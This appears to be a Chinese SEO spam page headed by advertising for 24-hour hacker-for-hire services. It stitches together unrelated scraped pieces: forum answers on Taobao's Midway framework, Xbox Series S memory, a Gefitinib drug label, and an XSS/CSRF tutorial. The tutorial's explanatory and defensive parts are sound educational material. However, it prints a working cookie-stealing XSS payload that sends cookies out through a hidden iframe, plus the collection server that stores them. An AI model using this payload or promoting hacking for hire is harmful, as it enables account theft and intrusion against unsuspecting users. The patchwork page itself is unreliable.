黑客24小时在线接单网站

怎么联系真的黑客,24小时在线黑客联系方式,24小时在线联系黑客,正规黑客私人接单,黑客QQ联系方式

xss评价(xss和xsx差距)

本文目录一览:

如何评价淘宝 UED 的 Midway Framework 前后端分离

【贺师俊的回答(17票)】:

泻药。

1. 这系列文章写得很好。

【注意,熟悉我的同志应该知道,我极少给出“很好”的评价。】

2. 这系列文章以及其背后的实践重新树立了淘宝系前端工程水准的领先地位。

【在此之前的一段时间内,至少从外部来看,淘宝已经落后于狼系和企鹅系了。】

3. 这系列文章及其背后的实践也证明了nodejs对于前端来说不仅在工具链而且在架构层面的意义。

【注意,这系列文章中的思路其实并不新鲜,但是在淘宝这样规模而且业已非常成熟的产品中实施这样的转变,我认为是具有标志意义的。】

4. 具体细节上仍有许多改善空间,如此系列的第4篇《前后端分离的思考与实践(四)》在防御XSS时还是存在一些传统问题。这方面在参加杭JS的时候,我跟淘宝的herman同学有过沟通,具体就不在本问题展开了。因为这是局部问题,对整体架构影响不大。

5. 注意,以上评价的都是架构,或者说是思路。实施效果是不是好,我相信他们自己的说法。但Midway框架本身因为没有看到具体文档和代码,而且其开发的目的首要是满足淘宝的需求,因此其本身或其具体组件是否在普遍意义上适用和优秀,无法作出判断。

【徐飞的回答(19票)】:

早上看到贺老出马,也忍不住写了一篇来谈一下苏宁这样的公司对这方面的考虑。

近两年来,我一直在思考如何改进前端体系的开发模式,这里面最基础的一点就是前后端的分离。谈到前后端分离,也有一个误区,认为仅仅是以浏览器作分界,把这两部分的代码分离出来。但其实是,做这件事情的本意,是要解决开发模式的问题,也就是要分离前后端开发人员的职责。

针对不同类型的Web产品,这个分离方式是有所不同的。对于Web应用,因为它跟服务端的交互基本就是AJAX或者WebSocket接口,所以这个分离是天然的,整个前端基本都是静态HTML模板,JavaScript模块,以及CSS和相关静态资源,但是对于网购产品这样的形态,它的做法就不一样。

## 展示占主要部分的产品

网购产品的展示需求很重要,图片等资源载入非常多,但相对的操作却很少,基本只有搜索商品,加购物车,结算这样的环节。传统这样的产品,多半是这么个工作流程:

交互出高保真图,前端去切图,生成静态HTML加展示效果,然后,注意,他不是自己接着往下做,而是交给另外一群开发人员,把它转换成服务端模板,比如freemarker或者velocity之类,或者是smarty,为什么要这么做呢?因为这类产品讲究一个首屏优化,是首屏而不是首页,这就意味着对于首屏来说,经过的环节应当尽可能少,比如说,就不能先载入客户端模板,再AJAX一个数据,然后去渲染一下。这么做的性能肯定是不如服务端把HTML生成好,然后一次请求加载的。

这个过程肯定是有一些问题的,比如说,如果开发人员B在套模板的过程中,发现原先的静态HTML部分有问题,应该怎么办?大家知道,一个对HTML和CSS都很熟悉,同时又可以写业务逻辑的前端开发人员是很稀缺的,所以,多数情况下,这两边的技能是不同的,如果是简单的页面问题,这个开发人员可能自己也就解决了,如果他解决不了,怎么办?

如果B自己不改,把他已经搞成服务端模板的代码返回给前端人员A,A也没法下手,因为已经是服务端模板,A手里没有环境,改了之后不知道对不对,不能预览。那么,B把问题告诉A,A修改他的原始版本,然后再拿给B又怎样呢?这时候B又麻烦了,他要对比两次修改的部分,把自己前一阵的修改合并进去。

所以,不管怎么搞,这里面都很折腾。

Midway这个产品,他想要解决什么问题呢?既然说前端人员没法预览模板的原因是,后端在使用服务端模板,那么,我能不能找一种两边都可用的模板,你能在服务端渲染,我也能在客户端预览?服务端跟浏览器端同时都能运行的语言是什么?只有JavaScript。

所以,大家就往nodejs里面去发掘了,一个普通的JavaScript模板库,它在浏览器端也可以渲染,在nodejs端也可以输出成HTML,这时候,那些原来负责整合模板和逻辑的人员改用nodejs,是不是就解决这问题了?

想象一下这个场景多么美好:前端来决定某个模板是服务端渲染还是客户端渲染,当首屏的时候,就在nodejs里面生成HTML,不是首屏的时候,就AJAX过来在浏览器端渲染展示。

从技术方案上看,这么做很好了,工程上又带来另外一些问题,那就是对熟练JavaScript开发人员的需求量大增。对阿里这样的公司来说,前端有大几百人,别的公司只能仰望,所以他当然可以放手一搞,但对我们苏宁这样,前端人数不大的,就麻烦了。如果我们也引入这样的方案,就面临把很大一部分Java开发人员转化成JavaScript开发人员这么一个问题,这个事情短期内肯定是无法解决的,所以反过来会增加前端这边的压力。所以暂时还用不了阿里这样的方案,只能努力先提高人员水平再看情况。

服务端引入nodejs还有别的优势,比如说请求合并等等,这个也可以用其他方式变通解决,比如加一个专门的跟现有后端同构的Web服务器,在那边干这些事。

## 展示和业务逻辑较均衡的产品

对于另外一些场景,也有类似的问题,比如支付产品,展示相对没那么重,但是又算不上Web应用,它面临另外一种情况的前后端分离。这种场景下,前端的出静态HTML和DOM操作类的JavaScript,业务开发人员负责写后端,还有另外一部分业务逻辑的JS。

这里的问题是什么呢?是jQuery式代码造成的协作问题。比如说:

$(".okBtn").click(function() { $.ajax(url, data) .success(function(result) { $("someArea").html(_.template("tpl", result)); });});

因为前端人员的稀缺,所以他不可能帮你把业务逻辑写出来,所以说,这里面$.ajax往里的部分,要业务人员自己写。然后,数据得到之后,又要去处理界面部分。

很多场景下,处理界面远不是这么搞个模板放上去就完事的,所以业务开发人员感到很烦闷,为了这么一点小问题,反复去找前端的人来搞,很麻烦,自己搞又特别花时间,所以都很苦闷。

这同样是一种前后端的分离,只是这个分界线不在浏览器,而在于:是否写业务逻辑。对付这种场景,解决办法就是加强JavaScript代码的规划。现在流行那么多在前端做MV*的框架,不考虑Angular这类太重量级的,来看看Backbone这样的,它到底解决了什么问题?

很多人说,Backbone虽然小,但根本不解决问题。这句话有一定道理,但前提条件是你自己的JavaScript代码分层已经做得很好了。如果做得不好,它就可以协助你解决分层的问题。

刚才那段代码,它的问题在哪里呢,在于职责不清晰。一个函数只能做一件事,这是共识,但由于回调等方式,所以不经意就破坏了函数的单一性、完整性。我们试试来拆开它。

对于一个后端开发人员来说,他为什么常常害怕写前端代码?是因为JavaScript语言吗?其实不是,我们用来写业务逻辑的时候,只会使用JavaScript一个很小的子集,对于这个子集来说,它并不存在多大的学习困难,最麻烦的地方在于DOM、BOM等东西,对于一个后端开发人员来说,如果要求他在掌握服务端代码编写的同时,还要去学这些,那真是有些不容易,所以,我们来给他省点事。

现在我们的出发点是,把这段代码拆给两个不同的人写,一个人操作DOM,另外一个人只写逻辑,绝对不操作DOM。前面这个代码拆给前端维护,后面这个拆给业务开发人员。

最老圡的方式:

a.js

$(".okBtn").click(function() { b1(data);});function a1(result) { $("someArea").html(_.template("tpl", result));}

b.js

function b1(data) { $.ajax(url, data) .success(a1);}

现在大家是不是相安无事了?

如果这么做的话,AB双方要做很多约定,也就是说,这个过程仍然是一个螺旋链。比如说,A先写点击事件的绑定,然后想起来这里要调用一个请求,就去找B写b1方法。B在写b1的时候,又想到他要调用一个界面展示方法a1,然后又来找A写,来回也挺折腾。

况且,有这么一天,A在另外一个地方也想调用b1了,但是由于b1的回调已经写死了,比较蠢的办法就是在a1里面再判断,这是什么东西点击造成的,然后分别调用不同的回调。如果情况复杂,那这个代码写出来真是没法看。

如下:

a.js

var type = 0;$(".okBtn").click(function() { type = 1; b1(data);});$(".okBtn1").click(function() { type = 2; b1(data);});function a1(result) { if (type1) { $("someArea").html(_.template("tpl", result)); } else if (type2) { // ... } type = 0;}

b.js

function b1(data) { $.ajax(url, data) .success(a1);}

稍微好一些的办法是,在b1中,直接返回这个请求的promise,这样可以由调用方决定到底该干什么。

如下:

a.js

$(".okBtn").click(function() { b1(data).success(function(result) { $("someArea").html(_.template("tpl", result)); });});$(".okBtn1").click(function() { b1(data).success(function(result) { // ... });});

b.js

function b1(data) { return $.ajax(url, data);}

如果要对返回数据作统一处理,也可以很容易地在b1中,用promise重新封装了返回出来,只不过这样在a.js里面,直接调用的就不是success,而是then了。

注意到这样的代码还有问题,比如说大量的全局函数,不模块化,容易冲突。此外,没有一个地方可以缓存一些共享数据,比如说这么一个场景:

界面上两个块M和N,其中,M初始载入并加载数据,N在初始的时候不载入,而是在某个按钮点击的时候载入,而M和N中各有一个列表,数据来源于同一个服务端请求。

现在就有个问题,当N载入的时候,它的数据怎么来?比较老土的方式,肯定是载入N的时候,同时也再去请求一下数据,然后渲染到N上。

从一个角度看,如果说不重新请求,N的这个数据应当从哪里来?从另外一个角度看,如果重新请求了,发现数据跟之前的产生了变更,是否要同步给M,怎么同步给它?

我们看看类似Backbone这样的框架,它能提供怎样的机制呢?或者如果我们不用它,怎么自己把这个分层封装得更好一些?

首先,是建立一个数据模型,在它上面添加数据的缓存:

define("model", [], function() { var Model = { data: null, queryData : function(param, fromCache) { var defer = q.defer(); if (fromCache || this.data) { defer.resolve(this.data); } else { var self = this; this.ajax(url, param).success(function(result){ self.data = result; defer.resolve(result); }); } return defer.promise; } }; return Model;});

这么一来,我们在模型上作了数据的缓存,如果调用的时候加fromCache参数,就从缓存读取,否则就请求新的。为了在两种情况下,调用方接口能保持一致,把整个函数封装成promise,以便接着调用。这里的模型定义成单例了,假定是全局唯一的,可以根据需要调整成可实例化的。

这个时候,视图层就要封装DOM和事件的关联关系:

define("view", ["model"], function(Model) { function View(element) { this.element = element; this.element.selector(".okBtn").click(function() { var self = this; var fromCache = true; Model.queryData({}, false).then(function(result) { self.renderData(result); }); }); } View.prototype = { renderData: function(data) { this.element.selector("someArea").html(_.template("tpl", result)); } };});

这个时候,多个视图实例的情况下,数据也能够较好地利用。

这样,前端写这个View,后端写Model,可以作这么个分工。

这个只是很简陋的方式,在复杂场景下还有很多不足,在这里先不展开了。更复杂的场景也就是类似Web应用那种方式,稍后专门写一篇来展开。

## 小结

我们再来回顾前后端分离所要解决的问题,是分离前端和业务开发人员的职责,这个方案怎么定,是应当随着团队状况来确定的。比如阿里前端厉害,人多势众,他的前端就要往后推,去占领中间层。我们苏宁这样的公司,前端比较薄弱,只能在很多场景下,让出中间层,否则战线铺太广只能处处被动。

同一个中途岛,在不同的形势下,占还是不占,是很考验前端架构师的一个问题。

对阿里的这种实践,我们会持续围观,寻找并创造合适的出手时机。

【rank的回答(4票)】:

简单说下自己的看法。

前端不再继续「单纯」在 kissy 上下功夫,而可以考虑向后的延伸架构是一种前端的进步,这种前端架构将重定义阿里的前端工程师工作,很多互联网公司比阿里先行一步。

这个思路与与最早阿里很多前端没有碰后端(例如模板)有很大的关系,用 NodeJS 作中间层能解决现面临的问题,是一种不限于解决当前问题的长远解决方案。

具体是否能解决和解决得好,在于细节,不在新,而在过渡。如,如何过渡目前 NodeJS 与原来的数据交互,如何灰度过渡,工作量等。

平台化与接口化思路(后端数据接口以 Services 存在)让 amazon 收益非浅,现在后端平台化接口化在大公司趋势明显。

平台化需要更多更快的应用层开发选型,NodeJS 是不错的一种。NodeJS 虽然还是有些问题,但从信息面与我们自己的应用经验来看,已有慢慢成为后端 WebApplication 的一种很好的选型方案的趋势。

总的来说,是个趋势。

【Hex的回答(1票)】:

我认为这就是所谓的大前端开发模式。模式确实是好模式,但是真正实践起来,和后端工程师的沟通和协调也会遇到很多问题。

我做过的几个项目都是采用这种大前端的开发模式,前端基于Transformers框架+CodeIgniter组成大前端,这样确实可以很好的隔离前后端,项目可维护性大大提高。

【邓欣欣的回答(1票)】:

上周去杭州玩了下,和之前的阿里同事做了些技术交流,发现这一年,阿里的前端在流程改进上下了很大功夫; 题主所说的中途岛应该是 UDC 团队做的,应该说思路不是很新鲜,国外有 ebay 向 nodejs 的转型案例,国内之前也有百度音乐移动端的案例;

但对阿里前端来说,意义确是很重大,解决了合作流程中的一个很大问题:之前阿里的前端是只写静态 demo,写完给开发套模板,开发不太懂 html,漏写个标签,然后找前端调试,一来一去很折腾,是个必须干但又是个没啥技术含量的事; 中途岛可以很好的解决这类蛋疼事,但是请不要认为前端就因此会后端了,无非是之前浏览器用 ajax 请求接口,现在咱用 node http去请求呗,框架做得牛逼点,统一适配出前端的ajax 接口也不是不可能呀~~,想想嘛,为啥要用 node 呢? 牛逼直接写 java 啊。。哈哈哈~

其他的 F2E 团队也做些很不错的流程改进工具,同样不是很新鲜,但对阿里前端都是比较有意义的工具:

def: 项目构建与发布工具,与阿里的 gitlab, scm 整合,各种 脚手架,build,combo,发布,一条命令搞定,确实很方便;

dip:数据接口平台,定义业务线前后端数据格式的一个内部公共平台,基于 json-schema,好像也可以给你提供 mock 接口;

uitest:前端持续集成平台;之前这东西我是边做边吐槽的,似乎刚上线,类似 jenkis 这些,提交或者发布代码时,先帮你跑一次测试用例;目前通用测试库比较少。

Trace:好像是叫这个名字吧,监控平台,这个比较早就有了,用来监控各个业务线页面的运行状况并搜集各种用户数据,如分辨率,UA

我看来 def 和 dip 对阿里前端的作用会更大些,uitest 估计作用一般,阿里前端是不注重代码质量的,测试用例也仅在几个重要的直接影响交易的业务线会写。

【许文敏的回答(0票)】:

确实不错,从职责上来区分前后端分离才是王道,nodejs将成为前端工程师的基础技能

【猎人豆豆的回答(0票)】:

不要把简单的问题搞复杂,对于淘宝这样规模的公司,有些牵一发而动全身的改动,最好是在权衡风险和收益后再决定,我们是技术的使用者,而不要被技术牵着鼻子走.

【罗正烨的回答(2票)】:

前面前端的大牛们都说了,我换个角度聊聊。

这么讲吧,阿里的前端为什么比其它公司走的远,是因为他们有很多前端,还有很多不用写大量业务逻辑的前端大牛。大牛的作用,就是折腾。阿里的前端工程师水平在自身领域实践上已经跟得上后端。

但这个架构所谓的分离,其实是把很多原来前端不需要做的事揽到了自己的手上,增加前端架构师的KPI,让前端做了更多的事,周报好写。因为nodejs和前端都是js,所以学习成本并不算高,但是对一个技术人员的要求是比原来更高了。

但是,他们团队有很多HC,有很多钱。。所以像我这种一个产品线只有一二个前端的,要是这么玩儿,招人跟不上不说,然后还可以把自己累死。

所以技术选型和架构这种事,还是要根据自己团队的能力和招人啊。

xss到手有多大内存

看你买的是多大内存。

微软终于在本周早些时候正式公布了XboxSeriesS,这是一台低配版的“XboxSeriesX”,但是价格非常便宜,人民币只要2000元左右。

主机公布以后,很多开发者对此表示了不满,因为这主机的内存比较低(XSS只有10GB的GDDR6内存,相比之下XSX有16GB),不利于开发工作。

但现在,看起来开发者们对XSS的评价并非都是负面的,一起来了解下。

GefitinibTablets这是什么药

吉非替尼

【药理毒理】

1、药物动力学特性

吉非替尼是一种选择性表皮生长因子受体(EGFR)酪氨酸激酶抑制剂,该酶通常表达于上皮来源的实体瘤。对于EGFR酪氨酸激酶活性的抑制可妨碍肿瘤的生长,转移和血管生成,并增加肿瘤细胞的凋亡。在体内,吉非替尼广泛抑制异种移植于裸鼠的人肿瘤细胞衍生系的肿瘤生长,并提高化疗、放疗及激素治疗的抗肿瘤活性。在临床实验中已证实吉非替尼对局部晚期或转移性非小细胞肺癌具客观的抗肿瘤反应并可改善疾病相关的症状。

2、药物代谢动力学特性

静脉给药后,吉非替尼迅速廓清,分布广泛,平均清除半衰期为48小时。癌症患者口服给药后,吸收较慢,平均终末半衰期为41小时吉非替尼每天给药1次出现2-8倍蓄积,经7-10天的给药后达到稳态。24小时间隔用药,循环血浆药物浓度一般维持在2-3倍之间。

3、吸收

口服给药后,吉非替尼的血浆峰浓度出现在给药后的3到7小时。癌症患者的平均吸收生物利用度为59%。进食对吉非替尼吸收的影响不明显。在一项健康志愿者的实验中,当pH值维持在pH5以上时,吉非替尼的吸收减少47%(见4.4和4.5节)。

3、分布在吉非替尼稳态时的平均分布容积为1400L,表明组织分布广泛。血浆蛋白结合率近90%。吉非替尼与血清白蛋白及αl—酸性糖蛋白结合。

4、代谢

体外研究数据表明参与吉非替尼氧化代谢的P450同工酶只有CYP3A4。体外研究显示吉非替尼可能有限的抑制CYP2D6酶。在一项临床试验中,吉非替尼与metoprolol(美多心安,一种CYP2D6酶底物)合用使该组的作用有少量的增高(35%),其实际临床意义尚未估计。

在动物实验中吉非替尼未显示酶诱导作用,

并且对其它的细胞色素P450酶也没有显著抑制作用(体外)。吉非替尼的代谢中三个生物转化的位点已被确定:N—丙基吗啉类的代谢,喹唑啉上甲氧取代基的脱甲基作用及卤化苯基类的氧化脱氟作用。在人血浆中分离到的主要代谢物是O-desmethyl

吉非替尼。它对EGFR刺激细胞生长的抑制作用比吉非替尼弱14倍,因此对吉非替尼的临床活性无明显作用。

5、清除

吉非替尼总的血浆廓清约为500mL/min。主要通过粪便排泄,约4%通过肾脏以原型和代谢物的形式清除。

6、特殊人群:

根据人群用药资料,没有发现稳态血药浓度与患者的年龄、体重、性别、种族或肌苷清除率之间有相关性。一项包括41例实体肿瘤伴有肝转移,而肝功能正常、中度或重度损害的患者的临床研究中对吉非替尼进行评价。研究显示,口服吉非替尼每日剂量250mg

后,达到稳态时间、总的血浆清除率和稳态药物暴露水平(Cmaxss,

AUC24ss)在肝功能正常组和中度损害组结果相似。从4例由于肝脏转移造成的严重肝功能不全的患者得到的数据提示稳态药物暴露水平亦与肝功能正常患者相似。没有在肝硬化或肝炎引起的肝功能损害患者中对进行研究。

7、与处方者有关的临床前安全资料

吉非替尼未显示基因毒性倾向。与吉非替尼的药理学活性相符合,当剂量给到20mg/kg/天时,可观察到鼠的生育能力减低。在器宫发生时期给高剂量(30mg/kg/天)时对鼠的胚胎发育无影响,但对于兔子,20mg/kg

/天及以上的剂量则可减轻胎儿的重量。在两个物种间均未诱导出畸形。在鼠的妊娠及分娩期间给于20mg/kg/天的剂量可减少幼鼠的生存(见妊娠和哺乳节)。在鼠分娩后连续14天口服碳14标记的吉非替尼,乳汁中放射活性的浓度高于血

液中的浓度(见妊娠和哺乳节)。非临床(体外)研究资料表明吉非替尼具有抑制心脏活动复极化过程(如QT间期)的可能性。其临床意义尚不知道。吉非替尼的致癌研究尚未进行。

【适应症】

吉非替尼适用于治疗既往接受过化学治疗或不适于化疗的局部晚期或转移性非小细胞肺癌(NSCLC)。

【用法与用量】

推荐剂量为250mg(1片)每日1次,空腹或与食物同服。不推荐用于儿童或青少年,对于这一患者群的安全性和疗效尚未进行研究。不需要因患者的年龄,体重,性别或肾功能状况以及对因肿瘤肝脏转移引起的中度或重度肝功能不全的患者进行剂量调整。(参见“药物代谢动力学特性”部分)

【不良反应】

最常见的药物不良反应( ADRs

)为腹泻、皮疹、瘙痒、皮肤干燥和痤疮,发生率20%以上,一般见于服药后一个月内,通常是可逆性的。大约8%的患者出现严重的ADRs(CTC标准3或4级)。因ADRs停止治疗的患者仅有1%。

可出现的ADRs总结如下:

非常常见(10%) 消化系统: 皮肤及附件:

腹泻,主要为轻度(CTC1级),少有中度(CTC2级),个别报道严重腹泻伴脱水者(CTC3级)。恶心,主要为轻度(CTC1级)。

皮肤反应,主要为轻或中度(CTCl或2级)多泡状突起的皮疹,在红斑的基础上有时伴皮肤干燥发痒。

常见(1-≤10%) 消化系统: 代谢和营养: 皮肤及附器: 全身: 眼科:

呕吐,主要为轻度或中度(CTC1或2级)。厌食,轻或中度(CTCl或2级)。口腔粘膜炎,多数轻微(CTC1级)。继发于腹泻、恶心、呕吐或厌食引起的脱水。

肝功能异常,主要包括无症状性轻或中度转氨酶升高(CTCl或2级)。 指甲毒性。脱发 乏力,多为轻度

(CTC1级) 结膜炎和睑炎,主要为轻度(CTC1级)。

不常见(0.1-≤1%) 血液和淋巴: 眼科: 呼吸:

在服用华法令的一些患者中出现国际正常值(INR)升高及/或出血事件

角膜糜烂,可逆,有时伴异常睫毛生长。 间质性肺病,常较严重(CTC3-4)级,已有致死性病历的报道。

罕见 (0.01- £0.1%) 消化系统: 胰腺炎.

极罕见(0.01%) 皮肤及附件:

过敏反应,包括血管性水肿和风疹.毒性表皮坏死溶解和多型红斑仅有个案报道

*

在全球范围的临床研究和上市后应用(仅在日本)中,接受吉非替尼治疗的约66000例患者中,间质性肺病总的发生率在日本以外的患者大约0.3%(包括39000例患者),在日本约为2%(大约27000例患者)。

前端安全方面有没有了解?xss和csrf如何攻防

在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式。在这个年代, 参数化查询 已经成了普遍用法,我们已经离 SQL 注入很远了。但是,历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了,所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤,我一定会在模板输出时候全部转义。所以个人感觉,要避免 XSS 也是很容易的,重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ,于是找了些资料了解了一下,并与 XSS 放在一起做个比较。

XSS:脚本中的不速之客

XSS 全称“跨站脚本”,是注入攻击的一种。其特点是不对服务器端造成任何伤害,而是通过一些正常的站内交互途径,例如发布评论,提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本,作为内容发布到了页面上,其他用户访问这个页面的时候就会运行这些脚本。

运行预期之外的脚本带来的后果有很多中,可能只是简单的恶作剧——一个关不掉的窗口:

1

2

3

while (true) {

alert("你关不掉我~");

}

也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程,先建立一个用来收集信息的服务器:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

#!/usr/bin/env python

#-*- coding:utf-8 -*-

"""

跨站脚本注入的信息收集服务器

"""

import bottle

app = bottle.Bottle()

plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')

app.install(plugin)

@app.route('/myxss/')

def show(cookies, db):

SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'

try:

db.execute(SQL, cookies)

except:

pass

return ""

if __name__ == "__main__":

app.run()

然后在某一个页面的评论中注入这段代码:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

// 用 script type="text/javascript"/script 包起来放在评论中

(function(window, document) {

// 构造泄露信息用的 URL

var cookies = document.cookie;

var xssURIBase = "";

var xssURI = xssURIBase + window.encodeURI(cookies);

// 建立隐藏 iframe 用于通讯

var hideFrame = document.createElement("iframe");

hideFrame.height = 0;

hideFrame.width = 0;

hideFrame.style.display = "none";

hideFrame.src = xssURI;

// 开工

document.body.appendChild(hideFrame);

})(window, document);

于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求,是他们所看不到的。而这个请求,会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。

我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制,只能访问当前域名下的 URL,所谓不能“跨域”问题。这种做法的初衷也是防范 XSS,多多少少都起了一些作用,但不是总是有用,正如上面的注入代码,用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下,我还能用 iframe 发起 POST 请求。当然,现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截,例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功,何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将,我们也不应该把事关安全性的责任推脱给浏览器,所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的,这点对于 Web 开发者应该是常识。

正如上文所说,如果我们不需要用户输入 HTML 而只想让他们输入纯文本,那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点,Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们,我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数,Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎,那么其必自带了方便快捷的转义方式。

真正麻烦的是,在一些场合我们要允许用户输入 HTML,又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙,但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的,任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况,我个人更倾向于使用简单的方法处理,简单的方法就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构,但我们并不将这些数据直接存入数据库,而是使用 HTML 解析库遍历节点,获取其中数据(之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性)。然后根据用户原有的标签属性,重新构建 HTML 元素树。构建的过程中,所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别(前面说了 HTML 不同于 XML,要求有很强的容错性),那么它不会成为漏网之鱼,因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树,我们可以拍胸脯保证——所有的标签、属性都来自白名单,一定不会遗漏。

现在看来,大多数 Web 开发者都了解 XSS 并知道如何防范,往往大型的 XSS 攻击(包括前段时间新浪微博的 XSS 注入)都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中,开启(或不要关闭)类似 Django Template、Jinja2 中“默认转义”(Auto Escape)的功能。在不需要转义的场合,我们可以用类似 的方式取消转义。这种白名单式的做法,有助于降低我们由于疏漏留下 XSS 漏洞的风险。

另外一个风险集中区域,是富 AJAX 类应用(例如豆瓣网的阿尔法城)。这类应用的风险并不集中在 HTTP 的静态响应内容,所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域,开发者不得不自己打开危险的大门。这种情况下,站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包(似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试),但我都没试用过,故不予评价。不管怎么说,我认为从用户输入的地方把好关总是成本最低而又最有效的做法。

CSRF:冒充用户之手

起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别,后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条,但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。

CSRF 的全称是“跨站请求伪造”,而 XSS 的全称是“跨站脚本”。看起来有点相似,它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户,但前面说了,它们的攻击类型是不同维度上的分 类。CSRF 顾名思义,是伪造请求,冒充用户在站内的正常操作。我们知道,绝大多数网站是通过 cookie 等方式辨识用户身份(包括使用服务器端 Session 的网站,因为 Session ID 也是大多保存在 cookie 里面的),再予以授权的。所以要伪造用户的正常操作,最好的方法是通过 XSS 或链接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。

严格意义上来说,CSRF 不能分类为注入攻击,因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌,但对于设计不佳的网站,一条正常的链接都能造成 CSRF。

例如,一论坛网站的发贴是通过 GET 请求访问,点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问:

标题content=内容

那么,我只需要在论坛中发一帖,包含一链接:

我是脑残content=哈哈

只要有用户点击了这个链接,那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧,但是既然发贴的请求可以伪造,那么删帖、转帐、改密码、发邮件全都可以伪造。

如何解决这个问题,我们是否可以效仿上文应对 XSS 的做法呢?过滤用户输入, 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用,但阻挡不了 CSRF,因为攻击者可以通过 QQ 或其他网站把这个链接发布上去,为了伪装可能还使用 bit.ly 压缩一下网址,这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ,我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入,因为它并不属于注入攻击,而是请求伪造。被伪造的请求可以是任何来源,而非一定是站内。所以我们唯有一条路可行,就是过滤请求的 处理者。

比较头痛的是,因为请求可以从任何一方发起,而发起请求的方式多种多样,可以通过 iframe、ajax(这个不能跨域,得先 XSS)、Flash 内部发起请求(总是个大隐患)。由于几乎没有彻底杜绝 CSRF 的方式,我们一般的做法,是以各种方式提高攻击的门槛。

首先可以提高的一个门槛,就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作,应该只接受 POST 请求,而 GET 请求应该只浏览而不改变服务器端资源。当然,最理想的做法是使用 REST 风格 的 API 设计,GET、POST、PUT、DELETE 四种请求方法对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求方法,我们可以使用 ajax 提交请求(例如通过 jquery-form 插件,我最喜欢的做法),也可以使用隐藏域指定请求方法,然后用 POST 模拟 PUT 和 DELETE (Ruby on Rails 的做法)。这么一来,不同的资源操作区分的非常清楚,我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了,但他们仍可以发布表单,或者在其他站点上使用我们肉眼不可见的表单,在后台用 js 操作,伪造请求。

接下来我们就可以用比较简单也比较有效的方法来防御 CSRF,这个方法就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生,“请求令牌”和“同步令牌”原理是一样的,只不过目的不同,后者是为了解决 POST 请求重复提交问题,前者是为了保证收到的请求一定来自预期的页面。实现方法非常简单,首先服务器端要以某种策略生成随机字符串,作为令牌(token), 保存在 Session 里。然后在发出请求的页面,把该令牌以隐藏域一类的形式,与其他信息一并发出。在接收请求的页面,把接收到的信息中的令牌与 Session 中的令牌比较,只有一致的时候才处理请求,否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。

请求令牌虽然使用起来简单,但并非不可破解,使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意:

虽然请求令牌原理和验证码有相似之处,但不应该像验证码一样,全局使用一个 Session Key。因为请求令牌的方法在理论上是可破解的,破解方式是解析来源页面的文本,获取令牌内容。如果全局使用一个 Session Key,那么危险系数会上升。原则上来说,每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候,可以稍加封装,编写一个令牌工具包,将页面的标识作为 Session 中保存令牌的键。

在 ajax 技术应用较多的场合,因为很有请求是 JavaScript 发起的,使用静态的模版输出令牌值或多或少有些不方便。但无论如何,请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门,却又把钥匙放在门口,让我们的请求令牌退化为同步令牌。

